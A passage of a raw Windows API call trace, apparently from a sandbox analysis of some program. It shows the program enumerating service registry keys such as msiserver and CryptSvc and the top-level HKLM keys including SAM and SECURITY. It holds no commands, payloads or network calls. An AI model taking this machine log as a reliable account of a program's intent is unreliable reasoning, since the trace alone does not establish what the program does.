WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.296] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.296] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.296] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.297] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.298] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.299] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.300] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.300] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.300] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.331] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.331] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.331] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.332] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.333] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.334] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.335] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.336] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.337] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.338] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.339] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0249.339] RegCloseKey (hKey=0x154) returned 0x0 [0249.339] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.339] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.339] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.340] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.340] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.340] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.340] RegCloseKey (hKey=0xc4) returned 0x0 [0249.340] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.341] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.341] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.341] 